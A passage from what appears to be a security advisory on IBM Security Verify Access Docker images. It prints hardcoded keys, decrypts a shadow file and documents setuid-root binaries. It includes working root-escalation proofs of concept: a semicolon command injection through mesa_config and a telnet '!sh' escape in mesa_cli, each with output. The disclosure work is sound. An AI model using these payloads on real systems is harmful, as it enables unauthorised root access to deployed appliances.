6tUUZz/16kI2t7h8LCguMlJcr4QXF/hXKEys6uMu9uGWbNhiDPkOHeDrFwKJkM90
3hFk/bcq+4AoAyfFt1r6RFBOpqb5tDj7oxYrwDPVrOm2O83Ga6o1ODXLf/4KvapW
bijFmp+vLxPsjKiQJAgi4emBvBAPk1P00D+HAngiIlAQQugNUQjGwgPbewIFk5ST
8bj03YExEy0Vw5TCVoVsbkxlrZF660l2liMAU5OF1X3itsZGLETzRZgWdQIDAQAB
o0IwQDAfBgNVHSMEGDAWgBRXaoj3HRsUC6I+wha3FcN9ng+jDDAdBgNVHQ4EFgQU
V2qI9x0bFAuiPsIWtxXDfZ4PowwwDQYJKoZIhvcNAQELBQADggEBAG+bhfLKKtyj
Lrr32TZA1NRNMaSsIy5u8J8EkNf17NExfDnbgCB9omz1MPG2wIwdnzKHoIT+IqyP
Dtg2A21pKeJXDLObBcTgHoFR6zNJw9Ph8k7AygxaqPldVB/PvsCacMRvlGVwFJ8b
dClu6wAfVZv+oQDM+9zNIDVk39alp/T7dtvVqm1nCLH4C3E3r6KQw6pXOFtI5641
bAyK45l9kJSw+B4TF/mpL1+HNYv1baxkiSiwlgts+7SO2fAmrWE19MukWfj2oHLr
gs3PLYVjz8MnZJ9SBwXXGYFaV0qS9T8wLYe9+5aSK6CT5rjo5ZAncKh4bxyYEW75
cGAPLNhMRL8=
-----END CERTIFICATE-----
Bag Attributes
friendlyName: encKey
localKeyID: 03 82 01 01 00 BB 0F 22 30 06 39 08 3E 65 E7 67 A2 F7 A0 1A 96 6F A6 75 57 3E AF B0 64 7D 83 07 47 6C A3 CE 91 7D 11 94 B5 E9 F7 79 74 F0 22 AB 50 C7 49 66 5E 64 0C 63 07 B7 43 F2 35 52 E4 2C CC C0 1F B4 ED 2F 18 CB D3 A0 3C 3F 6D 07 88 AD B6 FE 52 2B EA 10 0C 9C 0A F4 04 21 20 95 E9 A7 39 E9 6F F1 83 11 5E B7 C5 D5 41 F8 D0 4B BC A2 D5 C6 1B E0 77 F4 91 F2 1B 23 25 17 42 29 19 3E CE 4E 39 12 E5 29 30 69 6A FE 47 BA E6 D8 D5 5E 3C 23 C6 B5 40 49 E5 64 7E 69 CC 43 E0 15 AE F5 DC D9 8C 27 6F 2E 09 25 85 C3 F8 95 44 12 42 6F C5 D1 E0 41 B2 F0 00 90 2C EA 36 05 1D DF F3 A3 B6 4F 42 E6 6D F2 33 BD 9F AE 3F 18 4E 79 08 35 BC 28 15 AC 23 0E B5 28 23 C2 08 3D 6A 39 5D 37 FA 60 13 EF 19 C3 7A 9C DB F0 19 0C AC 0D D0 51 B1 1B AE 22 A4 B7 92 3B FF 61 A3 0F 1C 6E 52 97 FE 2D 65 CB 13
subject=C = US, O = IBM, OU = GSKIT, CN = encKey
issuer=C = US, O = IBM, OU = GSKIT, CN = encKey
-----BEGIN CERTIFICATE-----
MIIEJjCCAw6gAwIBAgIIEuizp4Aw/w8wDQYJKoZIhvcNAQEFBQAwPDELMAkGA1UE
BhMCVVMxDDAKBgNVBAoTA0lCTTEOMAwGA1UECxMFR1NLSVQxDzANBgNVBAMTBmVu
Y0tleTAeFw0xOTAzMjEwNDU2NTlaFw0yOTAzMTkwNDU2NTlaMDwxCzAJBgNVBAYT
AlVTMQwwCgYDVQQKEwNJQk0xDjAMBgNVBAsTBUdTS0lUMQ8wDQYDVQQDEwZlbmNL
ZXkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDsJ4YkXiuJVyuDN2Ib
ykd86ieUfIqlRJ4t0Z40CXkfcUoSYfGfEUl0vGa/hRV6dBgr0cvsP1Uuh8lMx1k7
AF2LZB/3Hf42MiN4b1BShCkU//UDjw3IJDblpDxAs6+wNHLjZ3Tmu4j8WPH6szaE
MmLKdAOVX3j4pElcoTwsozR+F+1XBcp9G+nhIymvTaskWy8Qi2EHl+M2qbrwG9Ii
ssr1wX3KnI5hxvHAtEflwFu1qIcQFdEo/nG6+45TzhuIUTep1jcqDKTFsuzMDrlE
PELGqHVhkYrUaCYUtiEOjZXcE6Hufy10nEjo3nARyKlIom3A9Gi8qscq9Xh3R5JZ
ZbEtAgMBAAGjggEqMIIBJjCCASIGHCsGAQSD3OuTf4Pc65N/g9zrk3+r7CeDsWQC
pwkEggEARE7WVCtMEiBaqLgkERWOycU2QormaqloW2kdYi0iZT7NV/3tw0DNbcGK
pWdWfqtM4BM2x7Zq1ilGkK3NtGDnvRTBvrCFt0j/fU80/B9yBoELS0OWqKDkLiZi
enYORA427Y4JNYiRWngQCBPboqqp1oOB03dxujVH85W/3AniYol4fZBiUdYMfhWi
0sKxy5El/XDpYsA8w6ZQ0jz3/uQkNzY96A6QdO/4wB9P4YpKrl3XTKYGMtwoSW4b
QbXu2DOWvPZHxkXLizkeEk9/j+DC27nA7/ZIBNRV4pqOg2lo+7Po9XwwNyE2+1o2
4/2lwxPxDvGFYP05F78XHPEal8LgPTANBgkqhkiG9w0BAQUFAAOCAQEAuw8iMAY5
CD5l52ei96Aalm+mdVc+r7BkfYMHR2yjzpF9EZS16fd5dPAiq1DHSWZeZAxjB7dD
8jVS5CzMwB+07S8Yy9OgPD9tB4ittv5SK+oQDJwK9AQhIJXppznpb/GDEV63xdVB
+NBLvKLVxhvgd/SR8hsjJRdCKRk+zk45EuUpMGlq/ke65tjVXjwjxrVASeVkfmnM
Q+AVrvXc2Ywnby4JJYXD+JVEEkJvxdHgQbLwAJAs6jYFHd/zo7ZPQuZt8jO9n64/
GE55CDW8KBWsIw61KCPCCD1qOV03+mAT7xnDepzb8BkMrA3QUbEbriKkt5I7/2Gj
DxxuUpf+LWXLEw==
-----END CERTIFICATE-----
After the analysis of the certificates and the private keys, we were able to extract a CA private key and a private encryption/decryption key:
kali-docker# openssl x509 -in ca.pem -text -noout -modulus
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 3792290772900564666 (0x34a0ec5d93baceba)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=us, O=ibm, OU=isam, CN=ca
Validity
Not Before: Mar 21 04:57:03 2019 GMT
Not After : May 11 04:57:03 2101 GMT
Subject: C=us, O=ibm, OU=isam, CN=ca
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:b9:77:55:24:04:2a:53:98:ae:f8:d3:54:6a:48:
a9:78:d9:22:27:03:40:7c:ce:06:cb:81:91:be:1c:
fa:27:88:88:30:cd:bb:b8:95:12:52:14:66:86:8e:
7b:89:1f:57:1c:58:fb:f1:b8:3b:6f:e5:1d:ba:5f:
81:21:9c:bf:51:7b:02:62:1c:34:ea:d5:14:67:3f:
f5:ea:42:36:b7:b8:7c:2c:28:2e:32:52:5c:af:84:
17:17:f8:57:28:4c:ac:ea:e3:2e:f6:e1:96:6c:d8:
62:0c:f9:0e:1d:e0:eb:17:02:89:90:cf:74:de:11:
64:fd:b7:2a:fb:80:28:03:27:c5:b7:5a:fa:44:50:
4e:a6:a6:f9:b4:38:fb:a3:16:2b:c0:33:d5:ac:e9:
b6:3b:cd:c6:6b:aa:35:38:35:cb:7f:fe:0a:bd:aa:
56:6e:28:c5:9a:9f:af:2f:13:ec:8c:a8:90:24:08:
22:e1:e9:81:bc:10:0f:93:53:f4:d0:3f:87:02:78:
22:22:50:10:42:e8:0d:51:08:c6:c2:03:db:7b:02:
05:93:94:93:f1:b8:f4:dd:81:31:13:2d:15:c3:94:
c2:56:85:6c:6e:4c:65:ad:91:7a:eb:49:76:96:23:
00:53:93:85:d5:7d:e2:b6:c6:46:2c:44:f3:45:98:
16:75
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Authority Key Identifier:
57:6A:88:F7:1D:1B:14:0B:A2:3E:C2:16:B7:15:C3:7D:9E:0F:A3:0C
X509v3 Subject Key Identifier:
57:6A:88:F7:1D:1B:14:0B:A2:3E:C2:16:B7:15:C3:7D:9E:0F:A3:0C
Signature Algorithm: sha256WithRSAEncryption
Signature Value:
6f:9b:85:f2:ca:2a:dc:a3:2e:ba:f7:d9:36:40:d4:d4:4d:31:
a4:ac:23:2e:6e:f0:9f:04:90:d7:f5:ec:d1:31:7c:39:db:80:
20:7d:a2:6c:f5:30:f1:b6:c0:8c:1d:9f:32:87:a0:84:fe:22:
ac:8f:0e:d8:36:03:6d:69:29:e2:57:0c:b3:9b:05:c4:e0:1e:
81:51:eb:33:49:c3:d3:e1:f2:4e:c0:ca:0c:5a:a8:f9:5d:54:
1f:cf:be:c0:9a:70:c4:6f:94:65:70:14:9f:1b:74:29:6e:eb:
00:1f:55:9b:fe:a1:00:cc:fb:dc:cd:20:35:64:df:d6:a5:a7:
f4:fb:76:db:d5:aa:6d:67:08:b1:f8:0b:71:37:af:a2:90:c3:
aa:57:38:5b:48:e7:ae:35:6c:0c:8a:e3:99:7d:90:94:b0:f8:
1e:13:17:f9:a9:2f:5f:87:35:8b:f5:6d:ac:64:89:28:b0:96:
0b:6c:fb:b4:8e:d9:f0:26:ad:61:35:f4:cb:a4:59:f8:f6:a0:
72:eb:82:cd:cf:2d:85:63:cf:c3:27:64:9f:52:07:05:d7:19:
81:5a:57:4a:92:f5:3f:30:2d:87:bd:fb:96:92:2b:a0:93:e6:
b8:e8:e5:90:27:70:a8:78:6f:1c:98:11:6e:f9:70:60:0f:2c:
d8:4c:44:bf
Modulus=B9775524042A5398AEF8D3546A48A978D9222703407CCE06CB8191BE1CFA27888830CDBBB89512521466868E7B891F571C58FBF1B83B6FE51DBA5F81219CBF517B02621C34EAD514673FF5EA4236B7B87C2C282E32525CAF841717F857284CACEAE32EF6E1966CD8620CF90E1DE0EB17028990CF74DE1164FDB72AFB80280327C5B75AFA44504EA6A6F9B438FBA3162BC033D5ACE9B63BCDC66BAA353835CB7FFE0ABDAA566E28C59A9FAF2F13EC8CA890240822E1E981BC100F9353F4D03F8702782222501042E80D5108C6C203DB7B0205939493F1B8F4DD8131132D15C394C256856C6E4C65AD917AEB4976962300539385D57DE2B6C6462C44F345981675
kali-docker# openssl rsa -in ca.key -modulus -noout
Modulus=B9775524042A5398AEF8D3546A48A978D9222703407CCE06CB8191BE1CFA27888830CDBBB89512521466868E7B891F571C58FBF1B83B6FE51DBA5F81219CBF517B02621C34EAD514673FF5EA4236B7B87C2C282E32525CAF841717F857284CACEAE32EF6E1966CD8620CF90E1DE0EB17028990CF74DE1164FDB72AFB80280327C5B75AFA44504EA6A6F9B438FBA3162BC033D5ACE9B63BCDC66BAA353835CB7FFE0ABDAA566E28C59A9FAF2F13EC8CA890240822E1E981BC100F9353F4D03F8702782222501042E80D5108C6C203DB7B0205939493F1B8F4DD8131132D15C394C256856C6E4C65AD917AEB4976962300539385D57DE2B6C6462C44F345981675
kali-docker# openssl x509 -in encKey.pem -text -noout -modulus
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1362536419271180047 (0x12e8b3a78030ff0f)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, O=IBM, OU=GSKIT, CN=encKey
Validity
Not Before: Mar 21 04:56:59 2019 GMT
Not After : Mar 19 04:56:59 2029 GMT
Subject: C=US, O=IBM, OU=GSKIT, CN=encKey
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:ec:27:86:24:5e:2b:89:57:2b:83:37:62:1b:ca:
47:7c:ea:27:94:7c:8a:a5:44:9e:2d:d1:9e:34:09:
79:1f:71:4a:12:61:f1:9f:11:49:74:bc:66:bf:85:
15:7a:74:18:2b:d1:cb:ec:3f:55:2e:87:c9:4c:c7:
59:3b:00:5d:8b:64:1f:f7:1d:fe:36:32:23:78:6f:
50:52:84:29:14:ff:f5:03:8f:0d:c8:24:36:e5:a4:
3c:40:b3:af:b0:34:72:e3:67:74:e6:bb:88:fc:58:
f1:fa:b3:36:84:32:62:ca:74:03:95:5f:78:f8:a4:
49:5c:a1:3c:2c:a3:34:7e:17:ed:57:05:ca:7d:1b:
e9:e1:23:29:af:4d:ab:24:5b:2f:10:8b:61:07:97:
e3:36:a9:ba:f0:1b:d2:22:b2:ca:f5:c1:7d:ca:9c:
8e:61:c6:f1:c0:b4:47:e5:c0:5b:b5:a8:87:10:15:
d1:28:fe:71:ba:fb:8e:53:ce:1b:88:51:37:a9:d6:
37:2a:0c:a4:c5:b2:ec:cc:0e:b9:44:3c:42:c6:a8:
75:61:91:8a:d4:68:26:14:b6:21:0e:8d:95:dc:13:
a1:ee:7f:2d:74:9c:48:e8:de:70:11:c8:a9:48:a2:
6d:c0:f4:68:bc:aa:c7:2a:f5:78:77:47:92:59:65:
b1:2d
Exponent: 65537 (0x10001)
X509v3 extensions:
1.3.6.1.4.999999999.999999999.999999999.718375.55524.2.5001:
DN.T+L. Z..$.....6B..j.h[i.b-"e>.W...@.m...gV~.L..6..j.)F....`........H.}O4..r...KC.....&bzv.D.6...5..Zx...........wq.5G......b.x}.bQ..~.......%.p.b.<..P.<...$76=...t....O..J.].L..2.(In.A...3...G.E..9..O.........H..U....ih....|07!6.Z6.........`.9.........=
Signature Algorithm: sha1WithRSAEncryption
Signature Value:
bb:0f:22:30:06:39:08:3e:65:e7:67:a2:f7:a0:1a:96:6f:a6:
75:57:3e:af:b0:64:7d:83:07:47:6c:a3:ce:91:7d:11:94:b5:
e9:f7:79:74:f0:22:ab:50:c7:49:66:5e:64:0c:63:07:b7:43:
f2:35:52:e4:2c:cc:c0:1f:b4:ed:2f:18:cb:d3:a0:3c:3f:6d:
07:88:ad:b6:fe:52:2b:ea:10:0c:9c:0a:f4:04:21:20:95:e9:
a7:39:e9:6f:f1:83:11:5e:b7:c5:d5:41:f8:d0:4b:bc:a2:d5:
c6:1b:e0:77:f4:91:f2:1b:23:25:17:42:29:19:3e:ce:4e:39:
12:e5:29:30:69:6a:fe:47:ba:e6:d8:d5:5e:3c:23:c6:b5:40:
49:e5:64:7e:69:cc:43:e0:15:ae:f5:dc:d9:8c:27:6f:2e:09:
25:85:c3:f8:95:44:12:42:6f:c5:d1:e0:41:b2:f0:00:90:2c:
ea:36:05:1d:df:f3:a3:b6:4f:42:e6:6d:f2:33:bd:9f:ae:3f:
18:4e:79:08:35:bc:28:15:ac:23:0e:b5:28:23:c2:08:3d:6a:
39:5d:37:fa:60:13:ef:19:c3:7a:9c:db:f0:19:0c:ac:0d:d0:
51:b1:1b:ae:22:a4:b7:92:3b:ff:61:a3:0f:1c:6e:52:97:fe:
2d:65:cb:13
Modulus=EC2786245E2B89572B8337621BCA477CEA27947C8AA5449E2DD19E3409791F714A1261F19F114974BC66BF85157A74182BD1CBEC3F552E87C94CC7593B005D8B641FF71DFE363223786F5052842914FFF5038F0DC82436E5A43C40B3AFB03472E36774E6BB88FC58F1FAB336843262CA7403955F78F8A4495CA13C2CA3347E17ED5705CA7D1BE9E12329AF4DAB245B2F108B610797E336A9BAF01BD222B2CAF5C17DCA9C8E61C6F1C0B447E5C05BB5A8871015D128FE71BAFB8E53CE1B885137A9D6372A0CA4C5B2ECCC0EB9443C42C6A87561918AD4682614B6210E8D95DC13A1EE7F2D749C48E8DE7011C8A948A26DC0F468BCAAC72AF5787747925965B12D
kali-docker# openssl rsa -in encKey.key -modulus -noout
Modulus=EC2786245E2B89572B8337621BCA477CEA27947C8AA5449E2DD19E3409791F714A1261F19F114974BC66BF85157A74182BD1CBEC3F552E87C94CC7593B005D8B641FF71DFE363223786F5052842914FFF5038F0DC82436E5A43C40B3AFB03472E36774E6BB88FC58F1FAB336843262CA7403955F78F8A4495CA13C2CA3347E17ED5705CA7D1BE9E12329AF4DAB245B2F108B610797E336A9BAF01BD222B2CAF5C17DCA9C8E61C6F1C0B447E5C05BB5A8871015D128FE71BAFB8E53CE1B885137A9D6372A0CA4C5B2ECCC0EB9443C42C6A87561918AD4682614B6210E8D95DC13A1EE7F2D749C48E8DE7011C8A948A26DC0F468BCAAC72AF5787747925965B12D
kali-docker#
It is also possible to decrypt the shadow.enc file of a live instance using the hardcoded device_key.kdb:
kali-docker# file shadow.enc
shadow.enc: data
kali-docker# LD_LIBRARY_PATH=/home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/lib64:/home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/lib64 /home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/sbin/isva_decrypt shadow.enc
kali-docker# cat shadow.enc
root:!!$6$[REDACTED]:19255:0:99999:7:::
bin:*:18367:0:99999:7:::
daemon:*:18367:0:99999:7:::
adm:*:18367:0:99999:7:::
lp:*:18367:0:99999:7:::
sync:*:18367:0:99999:7:::
shutdown:*:18367:0:99999:7:::
halt:*:18367:0:99999:7:::
mail:*:18367:0:99999:7:::
operator:*:18367:0:99999:7:::
games:*:18367:0:99999:7:::
ftp:*:18367:0:99999:7:::
nobody:*:18367:0:99999:7:::
dbus:!!:19115::::::
systemd-coredump:!!:19115::::::
systemd-resolve:!!:19115::::::
tss:!!:19115::::::
postgres:!!:19151::::::
ldap:!!:19151::::::
admin:$6$[REDACTED]:19255:0:99999:7:::
www-data:*:14251:0:99999:7:::
ivmgr:!!:19151:0:99999:7:::
cluster::19151:0:99999:7:::
pgresql:!!:19151:0:99999:7:::
nfast:!!:19151:0:99999:7:::
tivoli:!!:19151:0:99999:7:::
isam:!!:19151:1:90:7:::
An attacker can easily decrypt the encrypted files inside the snapshot files. These snapshots contain an openldap.zip file containing the OpenLDAP configuration, keytabs, passwords, SSL certificates and private keys.
The encryption mechanism, based on hardcoded keys, is ineffective and provides a false assumption of security.
Details - Local Privilege Escalation using OpenLDAP
It was observed that the official IBM Docker image ibmcom/verify-access contains a Local Privilege Escalation vulnerability.
The binary slapd, used to run OpenLDAP has incorrect permissions, allowing any user to run slapd as root. An attacker can run slapd as root and specify a malicious configuration file that will run code as root.
Using a static analysis, the file system has been extracted and the usr/sbin/slapd program is root:$group and 4755:
kali-docker# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ibmcom/verify-access-runtime 10.0.4.0 498e181d7395 3 months ago 1.07GB
ibmcom/verify-access-wrp 10.0.4.0 c0003aca743c 3 months ago 442MB
ibmcom/verify-access 10.0.4.0 206efdd7809c 3 months ago 1.53GB
ibmcom/verify-access-dsc 10.0.4.0 959f6f1095e9 3 months ago 305MB
kali-docker# ls -la _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/usr/sbin/slapd
-rwsr-sr-x 1 root user 1916768 Jun 8 01:30 _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/usr/sbin/slapd
While checking on a live system, we can confirm the permissions 4755 (suid bit) are used in the verify-access instance. The owner is root:ivmgr:
[isam@verify-access log]$ ls -la /usr/sbin/slapd
-rwsr-sr-x 1 root ivmgr 1916768 Jun 8 13:30 /usr/sbin/slapd
[isam@verify-access log]$
By default, slapd allows to load external modules (to execute code). These .la files contain information about shared libraries that will be loaded within slapd.
Content of /etc/openldap/slapd.conf:
# Load dynamic backend modules:
# modulepath /usr/lib/openldap
# moduleload back_bdb.la
# moduleload back_ldap.la
# moduleload back_ldbm.la
# moduleload back_passwd.la
# moduleload back_shell.la
moduleload syncprov.la
It is possible to load malicious modules as root using a specific configuration .la file. This will allow a local attacker to get a Local Privilege Escalation as root. For example, we can find a default file that we can change into a malicious file by updating the libdir option to another directory:
kali-docker# cat _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/usr/lib64/openldap/syncprov.la
# syncprov.la - a libtool library file
# Generated by libtool (GNU libtool) 2.4.6
#
# Please DO NOT delete this file!
# It is necessary for linking the library.
# The name that we can dlopen(3).
dlname='syncprov-2.4.so.2'
# Names of this library.
library_names='syncprov-2.4.so.2.11.4 syncprov-2.4.so.2 syncprov.so'
[...]
# Files to dlopen/dlpreopen
dlopen=''
dlpreopen=''
# Directory that this library needs to be installed in:
libdir='/usr/lib64/openldap'
Details - Local Privilege Escalation using rpm
The binary npm has incorrect permissions in the ibmcom/verify-access instance, allowing any user to run rpm as root.
Using a static analysis, with the file system that has been extracted - the usr/bin/rpm program is root:root and 4755:
kali-extraction-docker# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ibmcom/verify-access-runtime 10.0.4.0 498e181d7395 3 months ago 1.07GB
ibmcom/verify-access-wrp 10.0.4.0 c0003aca743c 3 months ago 442MB
ibmcom/verify-access 10.0.4.0 206efdd7809c 3 months ago 1.53GB
ibmcom/verify-access-dsc 10.0.4.0 959f6f1095e9 3 months ago 305MB
kali-extraction-docker# ls -la ./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/usr/bin/rpm
-rwsr-sr-x 1 root root 21336 Apr 5 14:38 ./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/usr/bin/rpm
While checking on a live system, we can confirm the permissions 4755 (suid bit) are used in the verify-access docker image. The file belongs to root:root:
[isam@verify-access /]$ ls -la /usr/bin/rpm
-rwsr-sr-x 1 root root 21336 Apr 6 02:38 /usr/bin/rpm
[isam@verify-access /]$ /usr/bin/rpm
RPM version 4.14.3
Copyright (C) 1998-2002 - Red Hat, Inc.
This program may be freely redistributed under the terms of the GNU GPL
Usage: rpm [-afgpcdLAlsiv?] [-a|--all] [-f|--file] [--path] [-g|--group] [-p|--package] [--pkgid] [--hdrid] [--triggeredby] [--whatconflicts] [--whatrequires] [--whatobsoletes] [--whatprovides] [--whatrecommends]
[--whatsuggests] [--whatsupplements] [--whatenhances] [--nomanifest] [-c|--configfiles] [-d|--docfiles] [-L|--licensefiles] [-A|--artifactfiles] [--dump] [-l|--list] [--queryformat=QUERYFORMAT] [-s|--state]
[--nofiledigest] [--nofiles] [--nodeps] [--noscript] [--allfiles] [--allmatches] [--badreloc] [-e|--erase=<package>+] [--excludedocs] [--excludepath=<path>] [--force] [-F|--freshen=<packagefile>+] [-h|--hash]
[--ignorearch] [--ignoreos] [--ignoresize] [--noverify] [-i|--install] [--justdb] [--nodeps] [--nofiledigest] [--nocontexts] [--nocaps] [--noorder] [--noscripts] [--notriggers] [--oldpackage] [--percent]
[--prefix=<dir>] [--relocate=<old>=<new>] [--replacefiles] [--replacepkgs] [--test] [-U|--upgrade=<packagefile>+] [--reinstall=<packagefile>+] [-D|--define='MACRO EXPR'] [--undefine=MACRO] [-E|--eval='EXPR']
[--target=CPU-VENDOR-OS] [--macros=<FILE:...>] [--noplugins] [--nodigest] [--nosignature] [--rcfile=<FILE:...>] [-r|--root=ROOT] [--dbpath=DIRECTORY] [--querytags] [--showrc] [--quiet] [-v|--verbose]
[--version] [-?|--help] [--usage] [--scripts] [--setperms] [--setugids] [--setcaps] [--restore] [--conflicts] [--obsoletes] [--provides] [--requires] [--recommends] [--suggests] [--supplements]
[--enhances] [--info] [--changelog] [--changes] [--xml] [--triggers] [--filetriggers] [--last] [--dupes] [--filesbypkg] [--fileclass] [--filecolor] [--fileprovide] [--filerequire] [--filecaps]
[isam@verify-access /]$
An attacker can run rpm as root to add or remove any package in the system, providing a full root access.
Details - Insecure setuid binaries and multiple Local Privilege Escalation in IBM codes
It was observed that the official IBM Docker ibmcom/verify-access image contains several binaries with incorrect permissions (4755 - suid bit, with root:root or root:ivmgr as ownership) allowing any local user to run these programs as root:
-
- /opt/PolicyDirector/bin/pdmgrd
-
- /opt/pdweb/bin/webseald
-
- /usr/bin/rpm
-
- /usr/sbin/slapd
-
- /usr/sbin/mesa_config
-
- /usr/sbin/mesa_cli
-
- /usr/sbin/mesa_control
-
- /usr/sbin/mesa_lcd
-
- /usr/sbin/mesa_stats
Binaries with the suid bit:
[isam@verify-access]$ ls -la /usr/sbin/slapd
-rwsr-sr-x 1 root ivmgr 1916768 Jun 8 13:30 /usr/sbin/slapd
[isam@verify-access]$ ls -la /usr/sbin/mesa_lcd
-rwsr-xr-x 1 root root 57240 Jun 8 13:29 /usr/sbin/mesa_lcd
[isam@verify-access]$ ls -la /usr/sbin/mesa_control
-rwsr-xr-x 1 root root 98448 Jun 8 13:29 /usr/sbin/mesa_control
[isam@verify-access]$ ls -la /usr/sbin/mesa_config
-rwsr-sr-x 1 root root 2975680 Jun 8 13:29 /usr/sbin/mesa_config
[isam@verify-access]$ ls -la /usr/sbin/mesa_stats
-rwsr-xr-x 1 root root 11176 Jun 8 13:13 /usr/sbin/mesa_stats
[isam@verify-access]$ ls -la /usr/sbin/mesa_cli
-rwsr-xr-x 1 root root 436160 Jun 8 13:29 /usr/sbin/mesa_cli
[isam@verify-access]$ ls -la /usr/bin/rpm
-rwsr-sr-x 1 root root 21336 Apr 6 02:38 /usr/bin/rpm
[isam@verify-access]$ ls -la /opt/PolicyDirector/bin/pdmgrd
-r-sr-sr-x 1 root ivmgr 32040 Jun 8 13:30 /opt/PolicyDirector/bin/pdmgrd
[isam@verify-access]$ ls -la /opt/pdweb/bin/webseald
-r-sr-s--- 1 root ivmgr 29296 Jun 8 13:30 /opt/pdweb/bin/webseald
[isam@verify-access]$ ls -la /opt/dsc/bin/dscd
-r-sr-s--- 1 ivmgr ivmgr 24264 Jun 8 13:30 /opt/dsc/bin/dscd
Four trivial Local Privilege Escalations were found using the suid bit. Some additional LPEs may also exist in these programs. Trivial LPEs can be found everywhere in the mesa_* programs.
An attacker can get Local Privilege Escalations as root inside instances based on the ibmcom/verify-access image.
The code of mesa_* programs contains several trivial vulnerabilities due to the use of the MesaSystem function (and its derivatives) found in the libwsmesa.so library. This function is an insecure wrapper to the execv() function using the arguments /bin/sh -c and attacker-controlled values. The use of /bin/sh -c allows command injections.
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
Details - Local Privilege Escalation using mesa_config - import of a new snapshot
The mesa_config program allows importing a new snapshot. This allows an attacker to get a Local Privilege Escalation as root by importing a new snapshot:
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
The function MainApplySnapshot will install the new malicious snapshot as root:
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
Details - Local Privilege Escalation using mesa_config - command injections
Exploiting the fips_zeroize_files option in the mesa_config program will provide a root access.
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
The following PoC will provide root privileges inside the current instance:
[isam@verify-access /]$ id
uid=6000(isam) gid=0(root) groups=0(root),55(ldap),1000(ivmgr),1007(pgresql),1009(tivoli),5000(www-data)
[isam@verify-access /]$ cat /tmp/test.sh
#!/bin/sh
id > /tmp/id-2
[isam@verify-access /]$ ls -la /tmp/id-2
ls: cannot access '/tmp/id-2': No such file or directory
[isam@verify-access /]$ /usr/sbin/mesa_config fips_zeroize_files "AAAAAAAAAAAAAAAAAAAAAAAA;/tmp/test.sh"
[isam@verify-access /]$ ls -la /tmp/id-2
-rw-rw-r-- 1 root root 102 Oct 13 21:32 /tmp/id-2
[isam@verify-access /]$ cat /tmp/id-2
uid=0(root) gid=0(root) groups=0(root),55(ldap),1000(ivmgr),1007(pgresql),1009(tivoli),5000(www-data)
[isam@verify-access /]$
Details - Local Privilege Escalation using mesa_cli - import of a new snapshot
The main_cli program is also vulnerable to LPE. This tool allows managing the instance from any user:
[isam@verify-access]$ mesa_cli
Welcome to the IBM Security Verify Access appliance
Enter "help" for a list of available commands
verify-access> help
Current mode commands:
diagnostics Work with the IBM Security Verify Access diagnostics.
extensions List and remove extensions installed on the appliance.
fips View FIPS 140-2 state and events.
fixpacks Work with fix packs.
isam Work with the IBM Security Verify Access settings.
license Work with licenses.
lmi Work with the local management interface.
lmt Work with the license metric tool.
management Work with management settings.
pending_changes Work with the IBM Security Verify Access pending
changes.
snapshots Work with policy snapshot files.
support Work with support information files.
tools Work with network diagnostic tools.
Global commands:
back Return to the previous command mode.
exit Log off from the appliance.
help Display information for using the specified command.
reload Reload the container configuration.
shutdown End system operation and turn off the power.
state Display the current state of the container.
top Return to the top level.
verify-access> snapshots
verify-access:snapshots> help
Current mode commands:
apply Apply a policy snapshot file to the system.
create Create a snapshot of current policy files.
delete Delete a policy snapshot file.
get_comment View the comment associated with a policy snapshot file.
list List the policy snapshot files.
set_comment Replace the comment associated with a policy snapshot
file.
Global commands:
back Return to the previous command mode.
exit Log off from the appliance.
help Display information for using the specified command.
reload Reload the container configuration.
shutdown End system operation and turn off the power.
state Display the current state of the container.
top Return to the top level.
verify-access:snapshots> exit
[isam@verify-access /]$
The apply command inside the snapshots menu allows an attacker to install a new malicious snapshot as root and get a Local Privilege Escalation.
Details - Local Privilege Escalation using mesa_cli - telnet escape shell
Another LPE was found using the telnet client available within mesa_cli: it is possible to escape the telnet client using the ^] keys and get a shell as root:
[isam@verify-access /]$ id
uid=6000(isam) gid=0(root) groups=0(root),55(ldap),1000(ivmgr),1007(pgresql),1009(tivoli),5000(www-data)
[isam@verify-access /]$ mesa_cli
Welcome to the IBM Security Verify Access appliance
Enter "help" for a list of available commands
verify-access> tools
verify-access:tools> telnet test-server01.lan 22
Trying 10.0.0.14...
Connected to test-server01.lan.
Escape character is '^]'.
SSH-2.0-OpenSSH_8.0
^]
telnet> !sh
sh-4.4# id
uid=0(root) gid=0(root) groups=0(root),55(ldap),1000(ivmgr),1007(pgresql),1009(tivoli),5000(www-data)
sh-4.4# touch /tmp/pwned-root
sh-4.4# exit
exit
^]
telnet> q
Connection closed.
verify-access:tools> exit
